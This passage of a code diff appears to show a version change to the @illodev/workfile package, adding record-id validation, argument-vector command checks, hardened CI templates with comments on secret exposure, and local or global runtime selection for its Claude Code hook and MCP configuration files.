| fail("CARD_VERIFY_RUN_REQUIRED", `Verify entry ${entry.id} declares no command to run.`, { id: entry.id }); | ||
| } | ||
| const argv = argvElements(entry.run); | ||
| if (!argv) { | ||
| fail("CARD_VERIFY_RUN_INVALID", `Verify entry ${entry.id} must write run as an argument vector — ` + | ||
| `run: [pnpm, test] — of non-empty strings holding no control ` + | ||
| `characters. It is spawned without a shell, so a single string ` + | ||
| `would have to be parsed by something, and nothing here parses it.`, { id: entry.id, run: entry.run ?? null }); | ||
| } | ||
| if (!commandAllowed(allowed, argv)) { | ||
| fail("CARD_VERIFY_COMMAND_NOT_ALLOWED", commandNotAllowedMessage(entry.id, argv, allowed), { id: entry.id, run: argv, declared: allowed }); | ||
| } | ||
| const criteria = entry.criteria == null ? [] : entry.criteria; | ||
| if (!Array.isArray(criteria)) { | ||
| fail("CARD_VERIFY_CRITERIA_INVALID", `Verify entry ${entry.id} must list its criteria as digests.`, { id: entry.id }); | ||
| } | ||
| for (const digest of criteria) { | ||
| if (!CRITERION_DIGEST.test(String(digest))) { | ||
| fail("CARD_VERIFY_DIGEST_INVALID", `Verify entry ${entry.id} carries ${digest}, which is not a sha256 criterion digest.`, { id: entry.id, digest }); | ||
| } | ||
| } | ||
| } | ||
| const stale = staleBindings(parseAcceptance(candidate.body || ""), verify); | ||
| if (stale.length) { | ||
| fail("CARD_VERIFY_CRITERION_UNKNOWN", `No acceptance criterion on this card hashes to ${stale | ||
| .map((entry) => entry.digest) | ||
| .join(", ")}. A binding names the text it proves, so the text has to be there.`, { bindings: stale }); | ||
| } | ||
| } | ||
| function hierarchyDepth(candidate, byId) { | ||
@@ -226,2 +458,3 @@ let current = candidate; | ||
| } | ||
| validateVerify(workspace, candidate); | ||
| return candidate; | ||
@@ -228,0 +461,0 @@ } |
@@ -18,3 +18,3 @@ export declare const CHANGE_LIST_KEYS: Set<string>; | ||
| fragment: { | ||
| id: any; | ||
| id: string; | ||
| kind: "change"; | ||
@@ -21,0 +21,0 @@ recordType: any; |
@@ -8,3 +8,3 @@ import { randomUUID } from "node:crypto"; | ||
| import { ConflictError, NotFoundError, ValidationError } from "../../core/errors.js"; | ||
| import { DEFAULT_LIST_KEYS, parseFrontmatter, patchFrontmatter, requireFrontmatter, serializeValue } from "../../core/frontmatter.js"; | ||
| import { DEFAULT_LIST_KEYS, parseFrontmatter, patchFrontmatter, renderFrontmatterEntry, requireFrontmatter } from "../../core/frontmatter.js"; | ||
| import { withFileLock } from "../../core/locks.js"; | ||
@@ -50,5 +50,26 @@ import { revisionForContent } from "../../core/revision.js"; | ||
| function renderRecord(metadata, body = "") { | ||
| const lines = Object.entries(metadata).map(([key, value]) => `${key}: ${serializeValue(key, value, CHANGE_LIST_KEYS)}`); | ||
| const lines = Object.entries(metadata).flatMap(([key, value]) => renderFrontmatterEntry(key, value, { listKeys: CHANGE_LIST_KEYS })); | ||
| return `---\n${lines.join("\n")}\n---\n\n${String(body).trim()}\n`; | ||
| } | ||
| /** | ||
| * The one field a loaded record cannot be missing. | ||
| * | ||
| * Every other absent field is `doctor`'s business: the record still loads and | ||
| * the report names it. `id` is different because `loadChangelog` sorts on it, | ||
| * so a hand-edited file with no `id:` line threw `TypeError: Cannot read | ||
| * properties of undefined (reading 'localeCompare')` out of the sort — after | ||
| * every file had been read, killing the whole load and with it `doctor`, the | ||
| * server and every command, naming neither the file nor the field. Refusing | ||
| * the record here puts it where every other malformed record already goes: | ||
| * `unreadable`, with its path, and the rest of the module still loads. | ||
| */ | ||
| function requireRecordId(metadata, repoPath, code, label) { | ||
| const id = typeof metadata.id === "string" ? metadata.id.trim() : metadata.id; | ||
| // A bare `id:` parses to no key at all and `id: ""` to the empty string; | ||
| // anything non-scalar arrives as an object. None of them sort. | ||
| if (typeof id !== "string" || !id) { | ||
| throw new ValidationError(code, `${label} has no id: ${repoPath}`); | ||
| } | ||
| return id; | ||
| } | ||
| function normalizeFragment({ file, repoPath, content, released = false }) { | ||
@@ -60,4 +81,5 @@ const parsed = parseFrontmatter(content, { listKeys: CHANGE_LIST_KEYS }); | ||
| const metadata = parsed.metadata; | ||
| const id = requireRecordId(metadata, repoPath, "CHANGE_ID_REQUIRED", "Changelog fragment"); | ||
| return { | ||
| id: metadata.id, | ||
| id, | ||
| // Literal, not `string`: `loadChangelog` splits one array of these into | ||
@@ -93,4 +115,5 @@ // fragments and releases by this field, and only a discriminated union | ||
| const metadata = parsed.metadata; | ||
| const id = requireRecordId(metadata, repoPath, "RELEASE_ID_REQUIRED", "Release record"); | ||
| return { | ||
| id: metadata.id, | ||
| id, | ||
| kind: "release", | ||
@@ -97,0 +120,0 @@ recordType: "release", |
@@ -0,1 +1,2 @@ | ||
| import { type ManagedFileReport } from "../generated/managed-files.js"; | ||
| export declare const CI_TARGETS: Readonly<{ | ||
@@ -18,2 +19,7 @@ github: { | ||
| }>; | ||
| /** | ||
| * The files `syncCiTemplates` writes, named without a workspace, so `init` can | ||
| * count them before the workspace exists. See `agentArtifactPaths`. | ||
| */ | ||
| export declare function ciArtifactPaths(root: any, config: any, selectedTargets?: any): any; | ||
| export declare function renderCiFiles(workspace: any, options?: any): any; | ||
@@ -35,10 +41,10 @@ export declare function syncCiTemplates(workspace: any, options?: any): Promise<{ | ||
| }; | ||
| files: any[]; | ||
| files: ManagedFileReport[]; | ||
| issues: { | ||
| severity: string; | ||
| code: string; | ||
| file: any; | ||
| file: string; | ||
| message: string; | ||
| details: any; | ||
| details: ManagedFileReport; | ||
| }[]; | ||
| }>; |
@@ -24,2 +24,13 @@ import { chmod, readFile } from "node:fs/promises"; | ||
| }); | ||
| /** | ||
| * The job runs the checkout's own code, and the template says so. | ||
| * | ||
| * Every command below loads the workspace, and loading a workspace `import()`s | ||
| * `project.config.mjs` out of the checkout — so on a pull request this job | ||
| * executes code the pull request wrote, before it reads a single card. That is | ||
| * the ordinary cost of building a pull request rather than a defect, and it is | ||
| * why the useful controls here are about what the job *holds* rather than about | ||
| * what it runs. The three targets differ sharply on that, and each says what it | ||
| * can enforce and what it cannot. | ||
| */ | ||
| function githubBody(workspace) { | ||
@@ -35,4 +46,7 @@ const node = String(workspace.config.ci.nodeVersion || "22"); | ||
| permissions: | ||
| contents: read | ||
| # Nothing at the top level, so a job added by hand starts from no permissions | ||
| # rather than inheriting these. This job runs code from the checkout, including | ||
| # a fork's on \`pull_request\`; what protects the repository there is GitHub | ||
| # withholding secrets from a fork, not the scope below. | ||
| permissions: {} | ||
@@ -42,4 +56,11 @@ jobs: | ||
| runs-on: ubuntu-latest | ||
| timeout-minutes: 10 | ||
| permissions: | ||
| contents: read | ||
| steps: | ||
| - uses: actions/checkout@v4 | ||
| with: | ||
| # Otherwise the token is left in .git/config as an http.extraheader, | ||
| # where any later step can read it. Nothing here pushes. | ||
| persist-credentials: false | ||
| - uses: actions/setup-node@v4 | ||
@@ -57,5 +78,16 @@ with: | ||
| return `# Generated by @illodev/workfile ${PACKAGE_VERSION} | ||
| # | ||
| # GitLab has no per-job permission scope. This job sees every CI/CD variable | ||
| # that is not marked protected, and the branch rule below fires on any branch | ||
| # push, so anyone who can push a branch gets them — mark the variables | ||
| # protected, or keep the secrets out of this project. CI_JOB_TOKEN is always | ||
| # present and reaches whatever the job-token allowlist permits. | ||
| # | ||
| # This file does nothing on its own: GitLab reads .gitlab-ci.yml, so add | ||
| # \`include: { local: .gitlab/workfile.yml }\` there or no pipeline runs. | ||
| project_protocol: | ||
| image: node:${node}-slim | ||
| stage: test | ||
| interruptible: true | ||
| timeout: 10m | ||
| script: | ||
@@ -71,2 +103,9 @@ - npx --yes @illodev/workfile@${PACKAGE_VERSION} doctor --json | ||
| return `#!/usr/bin/env sh | ||
| # Generated by @illodev/workfile ${PACKAGE_VERSION} | ||
| # | ||
| # There is no permission model to configure here: this script inherits the | ||
| # entire environment of whatever invokes it — a credential block on a build | ||
| # agent, a developer's ~/.npmrc and ssh-agent, an instance metadata endpoint. | ||
| # Workfile controls none of it, so "run repository checks where there are no | ||
| # secrets" is something the caller has to arrange and this file can only state. | ||
| set -eu | ||
@@ -87,2 +126,11 @@ | ||
| } | ||
| /** | ||
| * The files `syncCiTemplates` writes, named without a workspace, so `init` can | ||
| * count them before the workspace exists. See `agentArtifactPaths`. | ||
| */ | ||
| export function ciArtifactPaths(root, config, selectedTargets) { | ||
| return (selectedTargets || config.ci.targets) | ||
| .filter((id) => CI_TARGETS[id]) | ||
| .map((id) => resolve(root, CI_TARGETS[id].path)); | ||
| } | ||
| export function renderCiFiles(workspace, options = {}) { | ||
@@ -156,3 +204,3 @@ const targets = options.targets || workspace.config.ci.targets; | ||
| ? `Generated CI template has no managed block: ${item.path}` | ||
| : `Generated CI template is stale: ${item.path}`, | ||
| : `Generated CI template is stale: ${item.path}${item.reason ? ` (${item.reason})` : ""}`, | ||
| details: item | ||
@@ -159,0 +207,0 @@ })); |
@@ -1,1 +0,1 @@ | ||
| export { CI_TARGETS, checkCiTemplates, renderCiFiles, syncCiTemplates } from "./ci.js"; | ||
| export { CI_TARGETS, ciArtifactPaths, checkCiTemplates, renderCiFiles, syncCiTemplates } from "./ci.js"; |
@@ -1,1 +0,1 @@ | ||
| export { CI_TARGETS, checkCiTemplates, renderCiFiles, syncCiTemplates } from "./ci.js"; | ||
| export { CI_TARGETS, ciArtifactPaths, checkCiTemplates, renderCiFiles, syncCiTemplates } from "./ci.js"; |
@@ -1,1 +0,1 @@ | ||
| export { checkClaudeSurface, claudeCommandFiles, claudeHooksFile, claudeMcpFile, claudeSkillFile, PLUGIN_HOOK_RUNTIME, PLUGIN_PROJECT_ROOT, claudeArtifacts, planClaudeSurface, syncClaudeSurface } from "./surface.js"; | ||
| export { checkClaudeSurface, claudeCommandFiles, claudeHooksFile, claudeMcpFile, claudeSkillFile, GLOBAL_HOOK_RUNTIME, hasLocalInstall, hookRuntime, hookRuntimeReachable, LOCAL_CLI_RUNTIME, NPM_HOOK_RUNTIME, PLUGIN_HOOK_RUNTIME, PLUGIN_PROJECT_ROOT, claudeArtifacts, planClaudeSurface, syncClaudeSurface } from "./surface.js"; |
@@ -1,1 +0,1 @@ | ||
| export { checkClaudeSurface, claudeCommandFiles, claudeHooksFile, claudeMcpFile, claudeSkillFile, PLUGIN_HOOK_RUNTIME, PLUGIN_PROJECT_ROOT, claudeArtifacts, planClaudeSurface, syncClaudeSurface } from "./surface.js"; | ||
| export { checkClaudeSurface, claudeCommandFiles, claudeHooksFile, claudeMcpFile, claudeSkillFile, GLOBAL_HOOK_RUNTIME, hasLocalInstall, hookRuntime, hookRuntimeReachable, LOCAL_CLI_RUNTIME, NPM_HOOK_RUNTIME, PLUGIN_HOOK_RUNTIME, PLUGIN_PROJECT_ROOT, claudeArtifacts, planClaudeSurface, syncClaudeSurface } from "./surface.js"; |
@@ -0,1 +1,2 @@ | ||
| import { type ManagedFileReport } from "../generated/managed-files.js"; | ||
| /** The plugin is launched from wherever the host is, so it names the root. */ | ||
@@ -21,3 +22,21 @@ export declare const PLUGIN_PROJECT_ROOT = "${CLAUDE_PROJECT_DIR}"; | ||
| */ | ||
| export declare function claudeMcpFile(root?: any): { | ||
| /** The CLI in the workspace's own `node_modules`, beside `NPM_HOOK_RUNTIME`. */ | ||
| export declare const LOCAL_CLI_RUNTIME = "node_modules/@illodev/workfile/dist/bin/workfile.js"; | ||
| /** | ||
| * The MCP registration a client runs, in one of two forms. | ||
| * | ||
| * Which form is written is not cosmetic. `.mcp.json` and `.claude/settings.json` | ||
| * are generated by the same command, seconds apart, and until T-0170 one ran | ||
| * whatever npm publishes today while the other ran whatever the repository has | ||
| * installed. In a workspace pinned to 0.5.2 the server was 0.5.4 and the hooks | ||
| * were 0.5.2 — the two halves of the surface disagreeing about what the | ||
| * protocol is, and every symptom of that looks like something else. | ||
| * | ||
| * So a workspace with the package on disk registers that copy, on the same | ||
| * assumption the hooks already make: the client starts the server from the | ||
| * project directory. `npx -y` stays the answer for a workspace that has none — | ||
| * and it is also a network fetch on a tool whose argument is that the | ||
| * repository is the database. | ||
| */ | ||
| export declare function claudeMcpFile(root?: any, { local }?: any): { | ||
| mcpServers: { | ||
@@ -32,2 +51,10 @@ workfile: { | ||
| /** | ||
| * Whether this workspace carries its own copy of the package. | ||
| * | ||
| * The path the hooks already run, asked about rather than assumed. A workspace | ||
| * that only ever used the global binary has no `node_modules` entry, and that | ||
| * is the case `npx` exists for. | ||
| */ | ||
| export declare function hasLocalInstall(root: any): Promise<boolean>; | ||
| /** | ||
| * Hooks that make the claim mean something. | ||
@@ -54,2 +81,39 @@ * | ||
| /** | ||
| * The same runtime, reached through PATH, for a workspace that has no copy of | ||
| * the package on disk. | ||
| * | ||
| * `NPM_HOOK_RUNTIME` names a relative path, so in a workspace that only ever | ||
| * used the global binary all three hooks named a file that is not there — and | ||
| * a hook that fails exits 0 in silence, which [[DOC-0005]] notes is | ||
| * indistinguishable from one that works. `.mcp.json` had already been given a | ||
| * portable form and the hooks had not, so the two halves of the surface could | ||
| * not agree in exactly the workspace `npx` exists for. | ||
| * | ||
| * `npx` is not that form. Measured on this machine with a warm npx cache, per | ||
| * invocation: | ||
| * | ||
| * bare node spawn (floor) p50 20 ms | ||
| * node node_modules/…/hooks.mjs p50 25 ms | ||
| * workfile-hooks (this, through PATH) p50 26 ms | ||
| * npx -y @illodev/workfile p50 1663 ms | ||
| * | ||
| * `PreToolUse` runs before every call it matches and `PostToolUse` matches | ||
| * everything, so 1.6 s per invocation is not a slower hook, it is a different | ||
| * product. A dedicated bin costs one millisecond over the relative path | ||
| * because it is the same file: the runtime imports nothing from the package, | ||
| * so PATH resolution is all that is added. | ||
| * | ||
| * An absolute path resolved at install time was the other candidate and is | ||
| * worse than either: `.claude/settings.json` is committed, so it would put one | ||
| * machine's home directory into everyone else's checkout. | ||
| */ | ||
| export declare const GLOBAL_HOOK_RUNTIME = "workfile-hooks"; | ||
| /** | ||
| * Which of the two the workspace can actually run. | ||
| * | ||
| * The same question `.mcp.json` asks, answered the same way, so the server and | ||
| * the hooks cannot end up naming different copies of the package. | ||
| */ | ||
| export declare function hookRuntime(local: any): "node node_modules/@illodev/workfile/dist/src/runtime/claude/hooks.mjs" | "workfile-hooks"; | ||
| /** | ||
| * Exported and parameterised because the distributable plugin ships the same | ||
@@ -99,3 +163,7 @@ * hooks under a different path, and its copy was hand-maintained — so when the | ||
| export declare function claudeSkillFile(protocolText?: string, cli?: string): string; | ||
| export declare function claudeArtifacts(workspace: any): ({ | ||
| export declare function hookRuntimeReachable(root: any, runtime: any): Promise<{ | ||
| ok: boolean; | ||
| reason: string; | ||
| }>; | ||
| export declare function claudeArtifacts(workspace: any, { local }?: any): ({ | ||
| id: string; | ||
@@ -196,2 +264,4 @@ path: string; | ||
| })[]; | ||
| local: boolean; | ||
| runtime: string; | ||
| version: any; | ||
@@ -201,2 +271,3 @@ }>; | ||
| version: any; | ||
| runtime: string; | ||
| files: any[]; | ||
@@ -207,10 +278,16 @@ }>; | ||
| ok: boolean; | ||
| counts: any; | ||
| files: any[]; | ||
| counts: {}; | ||
| local: boolean; | ||
| runtime: { | ||
| command: string; | ||
| status: string; | ||
| reason: string; | ||
| }; | ||
| files: ManagedFileReport[]; | ||
| issues: { | ||
| severity: string; | ||
| code: string; | ||
| file: any; | ||
| file: string; | ||
| message: string; | ||
| }[]; | ||
| }>; |
| import { readFile } from "node:fs/promises"; | ||
| import { join } from "node:path"; | ||
| import { delimiter, join } from "node:path"; | ||
| import { isDeepStrictEqual } from "node:util"; | ||
| import { writeFileAtomic } from "../../core/filesystem.js"; | ||
@@ -162,12 +163,31 @@ import { exists } from "../../core/fs-utils.js"; | ||
| */ | ||
| export function claudeMcpFile(root) { | ||
| /** The CLI in the workspace's own `node_modules`, beside `NPM_HOOK_RUNTIME`. */ | ||
| export const LOCAL_CLI_RUNTIME = "node_modules/@illodev/workfile/dist/bin/workfile.js"; | ||
| /** | ||
| * The MCP registration a client runs, in one of two forms. | ||
| * | ||
| * Which form is written is not cosmetic. `.mcp.json` and `.claude/settings.json` | ||
| * are generated by the same command, seconds apart, and until T-0170 one ran | ||
| * whatever npm publishes today while the other ran whatever the repository has | ||
| * installed. In a workspace pinned to 0.5.2 the server was 0.5.4 and the hooks | ||
| * were 0.5.2 — the two halves of the surface disagreeing about what the | ||
| * protocol is, and every symptom of that looks like something else. | ||
| * | ||
| * So a workspace with the package on disk registers that copy, on the same | ||
| * assumption the hooks already make: the client starts the server from the | ||
| * project directory. `npx -y` stays the answer for a workspace that has none — | ||
| * and it is also a network fetch on a tool whose argument is that the | ||
| * repository is the database. | ||
| */ | ||
| export function claudeMcpFile(root, { local = false } = {}) { | ||
| const tail = root ? ["mcp", "--root", root] : ["mcp"]; | ||
| return { | ||
| mcpServers: { | ||
| "workfile": { | ||
| command: "npx", | ||
| args: root | ||
| ? ["-y", "@illodev/workfile", "mcp", "--root", root] | ||
| : ["-y", "@illodev/workfile", "mcp"], | ||
| env: {} | ||
| } | ||
| "workfile": local | ||
| ? { command: "node", args: [LOCAL_CLI_RUNTIME, ...tail], env: {} } | ||
| : { | ||
| command: "npx", | ||
| args: ["-y", "@illodev/workfile", ...tail], | ||
| env: {} | ||
| } | ||
| } | ||
@@ -177,2 +197,12 @@ }; | ||
| /** | ||
| * Whether this workspace carries its own copy of the package. | ||
| * | ||
| * The path the hooks already run, asked about rather than assumed. A workspace | ||
| * that only ever used the global binary has no `node_modules` entry, and that | ||
| * is the case `npx` exists for. | ||
| */ | ||
| export async function hasLocalInstall(root) { | ||
| return exists(join(root, ...LOCAL_CLI_RUNTIME.split("/"))); | ||
| } | ||
| /** | ||
| * Hooks that make the claim mean something. | ||
@@ -199,2 +229,41 @@ * | ||
| /** | ||
| * The same runtime, reached through PATH, for a workspace that has no copy of | ||
| * the package on disk. | ||
| * | ||
| * `NPM_HOOK_RUNTIME` names a relative path, so in a workspace that only ever | ||
| * used the global binary all three hooks named a file that is not there — and | ||
| * a hook that fails exits 0 in silence, which [[DOC-0005]] notes is | ||
| * indistinguishable from one that works. `.mcp.json` had already been given a | ||
| * portable form and the hooks had not, so the two halves of the surface could | ||
| * not agree in exactly the workspace `npx` exists for. | ||
| * | ||
| * `npx` is not that form. Measured on this machine with a warm npx cache, per | ||
| * invocation: | ||
| * | ||
| * bare node spawn (floor) p50 20 ms | ||
| * node node_modules/…/hooks.mjs p50 25 ms | ||
| * workfile-hooks (this, through PATH) p50 26 ms | ||
| * npx -y @illodev/workfile p50 1663 ms | ||
| * | ||
| * `PreToolUse` runs before every call it matches and `PostToolUse` matches | ||
| * everything, so 1.6 s per invocation is not a slower hook, it is a different | ||
| * product. A dedicated bin costs one millisecond over the relative path | ||
| * because it is the same file: the runtime imports nothing from the package, | ||
| * so PATH resolution is all that is added. | ||
| * | ||
| * An absolute path resolved at install time was the other candidate and is | ||
| * worse than either: `.claude/settings.json` is committed, so it would put one | ||
| * machine's home directory into everyone else's checkout. | ||
| */ | ||
| export const GLOBAL_HOOK_RUNTIME = "workfile-hooks"; | ||
| /** | ||
| * Which of the two the workspace can actually run. | ||
| * | ||
| * The same question `.mcp.json` asks, answered the same way, so the server and | ||
| * the hooks cannot end up naming different copies of the package. | ||
| */ | ||
| export function hookRuntime(local) { | ||
| return local ? NPM_HOOK_RUNTIME : GLOBAL_HOOK_RUNTIME; | ||
| } | ||
| /** | ||
| * Exported and parameterised because the distributable plugin ships the same | ||
@@ -255,3 +324,43 @@ * hooks under a different path, and its copy was hand-maintained — so when the | ||
| } | ||
| export function claudeArtifacts(workspace) { | ||
| /** | ||
| * Whether the command the hooks name can actually be run. | ||
| * | ||
| * Two forms, two questions. The local runtime is a path, so ask the | ||
| * filesystem. The bin is resolved through PATH by whatever spawns the hook, so | ||
| * ask PATH — the same lookup and, unless the host runs with a different | ||
| * environment, the same answer. Either way the point is that `claude check` | ||
| * stops reporting a hook it has never tried to resolve. | ||
| */ | ||
| async function onPath(name) { | ||
| const candidates = process.platform === "win32" | ||
| ? (process.env.PATHEXT || ".COM;.EXE;.BAT;.CMD") | ||
| .split(";") | ||
| .filter(Boolean) | ||
| .map((extension) => `${name}${extension}`) | ||
| : [name]; | ||
| for (const directory of (process.env.PATH || "").split(delimiter)) { | ||
| if (!directory) | ||
| continue; | ||
| for (const candidate of candidates) { | ||
| if (await exists(join(directory, candidate))) | ||
| return true; | ||
| } | ||
| } | ||
| return false; | ||
| } | ||
| export async function hookRuntimeReachable(root, runtime) { | ||
| if (runtime === GLOBAL_HOOK_RUNTIME) { | ||
| return (await onPath(GLOBAL_HOOK_RUNTIME)) | ||
| ? { ok: true, reason: null } | ||
| : { | ||
| ok: false, | ||
| reason: `${GLOBAL_HOOK_RUNTIME} is not on PATH — install @illodev/workfile in this workspace or globally` | ||
| }; | ||
| } | ||
| const script = runtime.replace(/^node /, ""); | ||
| return (await exists(join(root, ...script.split("/")))) | ||
| ? { ok: true, reason: null } | ||
| : { ok: false, reason: `${script} does not exist` }; | ||
| } | ||
| export function claudeArtifacts(workspace, { local = false } = {}) { | ||
| return [ | ||
@@ -269,3 +378,3 @@ ...commandDefinitions(workspace.cli).map((command) => ({ | ||
| kind: "claude-mcp", | ||
| json: claudeMcpFile() | ||
| json: claudeMcpFile(undefined, { local }) | ||
| }, | ||
@@ -276,3 +385,3 @@ { | ||
| kind: "claude-hooks", | ||
| json: claudeHooksFile() | ||
| json: claudeHooksFile(hookRuntime(local)) | ||
| } | ||
@@ -282,2 +391,50 @@ ]; | ||
| /** | ||
| * The `parent.child` paths the merge writes, which is exactly what it owns. | ||
| * | ||
| * The merge is one level deep — `next[key] = { ...current[key], ...ours }` — | ||
| * so ownership is per second-level key, not per file and not per top-level | ||
| * key. `mcpServers.workfile` is ours; a `mcpServers.postgres` the repository | ||
| * added in the same object is not. Recording the leaves rather than their | ||
| * parent is what lets a stale entry be removed, and a drifted one be named, | ||
| * without either touching a neighbour. | ||
| */ | ||
| function generatedPaths(generated) { | ||
| return Object.entries(generated).flatMap(([key, value]) => Object.keys(value).map((name) => `${key}.${name}`)); | ||
| } | ||
| function valueAt(source, path) { | ||
| return path | ||
| .split(".") | ||
| .reduce((node, key) => (node == null ? undefined : node[key]), source); | ||
| } | ||
| /** | ||
| * Which of our own values in a file the repository also owns no longer match | ||
| * what an install would write. | ||
| * | ||
| * The two JSON artifacts used to be reported `current` on the strength of the | ||
| * file existing, because they carry no marker to hold a digest. But the ledger | ||
| * already records which values are ours, and that is the same question a digest | ||
| * answers for the Markdown files. | ||
| * | ||
| * Values, not bytes: the file belongs to the repository, so its formatting and | ||
| * key order are not ours to have an opinion about. | ||
| */ | ||
| function driftedPaths(current, generated, ledgerPaths) { | ||
| const owned = generatedPaths(generated); | ||
| const drifted = owned.filter((path) => !isDeepStrictEqual(valueAt(current, path), valueAt(generated, path))); | ||
| for (const entry of ledgerPaths) { | ||
| // Recorded as ours once and no longer generated: the install would | ||
| // remove it, so a check that ignores it disagrees with the install it | ||
| // is checking. Ledgers written before this was path-granular hold the | ||
| // parent, which is still generated and has nothing to answer for. | ||
| if (owned.includes(entry)) | ||
| continue; | ||
| if (owned.some((path) => path.startsWith(`${entry}.`))) | ||
| continue; | ||
| if (valueAt(current, entry) !== undefined) { | ||
| drifted.push(`${entry} (no longer generated)`); | ||
| } | ||
| } | ||
| return drifted; | ||
| } | ||
| /** | ||
| * Merges generated JSON into a file the user also owns. | ||
@@ -290,3 +447,3 @@ * | ||
| */ | ||
| async function mergeJson(path, generated, ledgerKeys) { | ||
| async function mergeJson(path, generated, ledgerPaths) { | ||
| let current = {}; | ||
@@ -305,6 +462,23 @@ if (await exists(path)) { | ||
| } | ||
| // Keys we generated before and no longer do. | ||
| for (const key of ledgerKeys) { | ||
| if (!(key in generated) && key in next) | ||
| delete next[key]; | ||
| const owned = generatedPaths(generated); | ||
| for (const entry of ledgerPaths) { | ||
| if (owned.includes(entry)) | ||
| continue; | ||
| const [parent, child] = entry.split("."); | ||
| if (child === undefined) { | ||
| // A ledger from before this was path-granular. Its parent is only | ||
| // removable when nothing under it is generated any more. | ||
| if (!owned.some((path) => path.startsWith(`${parent}.`)) && parent in next) { | ||
| delete next[parent]; | ||
| } | ||
| continue; | ||
| } | ||
| if (!next[parent] || !(child in next[parent])) | ||
| continue; | ||
| next[parent] = { ...next[parent] }; | ||
| delete next[parent][child]; | ||
| // An object we opened and then emptied is noise, but one the | ||
| // repository put keys of its own into is theirs to keep. | ||
| if (!Object.keys(next[parent]).length) | ||
| delete next[parent]; | ||
| } | ||
@@ -319,2 +493,15 @@ const text = `${JSON.stringify(next, null, 2)}\n`; | ||
| } | ||
| /** The record of which values in those two files this tool wrote. */ | ||
| async function readLedger(workspace) { | ||
| const path = join(workspace.paths.protocolRoot, "generated", "claude-code.json"); | ||
| if (!(await exists(path))) | ||
| return { path, keys: {} }; | ||
| try { | ||
| const ledger = JSON.parse(await readFile(path, "utf8")); | ||
| return { path, keys: ledger.keys || {}, version: ledger.version }; | ||
| } | ||
| catch { | ||
| return { path, keys: {} }; | ||
| } | ||
| } | ||
| export async function planClaudeSurface(workspace) { | ||
@@ -360,2 +547,6 @@ const protocolPath = workspace.paths.agentProtocol; | ||
| }); | ||
| // Asked once and answered for both, because the whole point of T-0170 was | ||
| // that the server and the hooks must name the same copy of the package. | ||
| const local = await hasLocalInstall(workspace.root); | ||
| const runtime = hookRuntime(local); | ||
| const json = [ | ||
@@ -366,3 +557,3 @@ { | ||
| label: ".mcp.json", | ||
| generated: claudeMcpFile() | ||
| generated: claudeMcpFile(undefined, { local }) | ||
| }, | ||
@@ -373,6 +564,6 @@ { | ||
| label: ".claude/settings.json", | ||
| generated: claudeHooksFile() | ||
| generated: claudeHooksFile(runtime) | ||
| } | ||
| ]; | ||
| return { files, json, version: PACKAGE_VERSION }; | ||
| return { files, json, local, runtime, version: PACKAGE_VERSION }; | ||
| } | ||
@@ -391,8 +582,5 @@ export async function syncClaudeSurface(workspace, options = {}) { | ||
| } | ||
| const ledgerPath = join(workspace.paths.protocolRoot, "generated", "claude-code.json"); | ||
| const ledger = (await exists(ledgerPath)) | ||
| ? JSON.parse(await readFile(ledgerPath, "utf8")) | ||
| : { keys: {} }; | ||
| const ledger = await readLedger(workspace); | ||
| for (const entry of plan.json) { | ||
| const merged = await mergeJson(entry.path, entry.generated, ledger.keys?.[entry.id] || []); | ||
| const merged = await mergeJson(entry.path, entry.generated, ledger.keys[entry.id] || []); | ||
| results.push({ path: entry.label, status: merged.status }); | ||
@@ -402,12 +590,12 @@ if (!options.dryRun && merged.text && merged.status !== "unchanged") { | ||
| } | ||
| ledger.keys = ledger.keys || {}; | ||
| ledger.keys[entry.id] = Object.keys(entry.generated); | ||
| ledger.keys[entry.id] = generatedPaths(entry.generated); | ||
| } | ||
| if (!options.dryRun) { | ||
| await writeFileAtomic(ledgerPath, `${JSON.stringify({ ...ledger, version: PACKAGE_VERSION }, null, 2)}\n`); | ||
| await writeFileAtomic(ledger.path, `${JSON.stringify({ keys: ledger.keys, version: PACKAGE_VERSION }, null, 2)}\n`); | ||
| } | ||
| return { version: PACKAGE_VERSION, files: results }; | ||
| return { version: PACKAGE_VERSION, runtime: plan.runtime, files: results }; | ||
| } | ||
| export async function checkClaudeSurface(workspace) { | ||
| const plan = await planClaudeSurface(workspace); | ||
| const ledger = await readLedger(workspace); | ||
| const files = []; | ||
@@ -418,7 +606,32 @@ for (const file of plan.files) { | ||
| for (const entry of plan.json) { | ||
| if (!(await exists(entry.path))) { | ||
| files.push({ path: entry.label, status: "missing", reason: null }); | ||
| continue; | ||
| } | ||
| let current; | ||
| try { | ||
| current = JSON.parse(await readFile(entry.path, "utf8")); | ||
| } | ||
| catch { | ||
| files.push({ | ||
| path: entry.label, | ||
| status: "unmanaged", | ||
| reason: "not valid JSON" | ||
| }); | ||
| continue; | ||
| } | ||
| const drifted = driftedPaths(current, entry.generated, ledger.keys[entry.id] || []); | ||
| files.push({ | ||
| path: entry.label, | ||
| status: (await exists(entry.path)) ? "current" : "missing" | ||
| status: drifted.length ? "stale" : "current", | ||
| reason: drifted.length ? drifted.join(", ") : null | ||
| }); | ||
| } | ||
| // The command itself, resolved rather than assumed, and reported beside the | ||
| // files rather than among them: a hook runtime is not a file, and "the | ||
| // settings file says what an install would write" is not the same claim as | ||
| // "the hooks run". A hook that cannot run exits 0 in silence, which | ||
| // DOC-0005 records as indistinguishable from one that works, so the two | ||
| // have to be separable — they have two different repairs. | ||
| const reachable = await hookRuntimeReachable(workspace.root, plan.runtime); | ||
| const counts = files.reduce((totals, file) => ({ | ||
@@ -430,14 +643,39 @@ ...totals, | ||
| module: "claude", | ||
| // The files, and only the files. Whether `workfile-hooks` is on this | ||
| // machine's PATH is not a property of the workspace — two people | ||
| // sharing a checkout get different answers — and the pre-commit hook | ||
| // runs `doctor --severity error`. It is reported as a warning below, | ||
| // which is where a fact that is true here and false there belongs. | ||
| ok: !files.some((file) => file.status !== "current"), | ||
| counts, | ||
| local: plan.local, | ||
| runtime: { | ||
| command: plan.runtime, | ||
| status: reachable.ok ? "current" : "unreachable", | ||
| reason: reachable.reason | ||
| }, | ||
| files, | ||
| issues: files | ||
| .filter((file) => file.status !== "current") | ||
| .map((file) => ({ | ||
| severity: file.status === "missing" ? "info" : "warning", | ||
| code: `claude-surface-${file.status}`, | ||
| file: file.path, | ||
| message: `Generated Claude Code file is ${file.status}: ${file.path}` | ||
| })) | ||
| issues: [ | ||
| ...files | ||
| .filter((file) => file.status !== "current") | ||
| .map((file) => ({ | ||
| severity: file.status === "missing" ? "info" : "warning", | ||
| code: `claude-surface-${file.status}`, | ||
| file: file.path, | ||
| // The reason is the difference between "something is wrong | ||
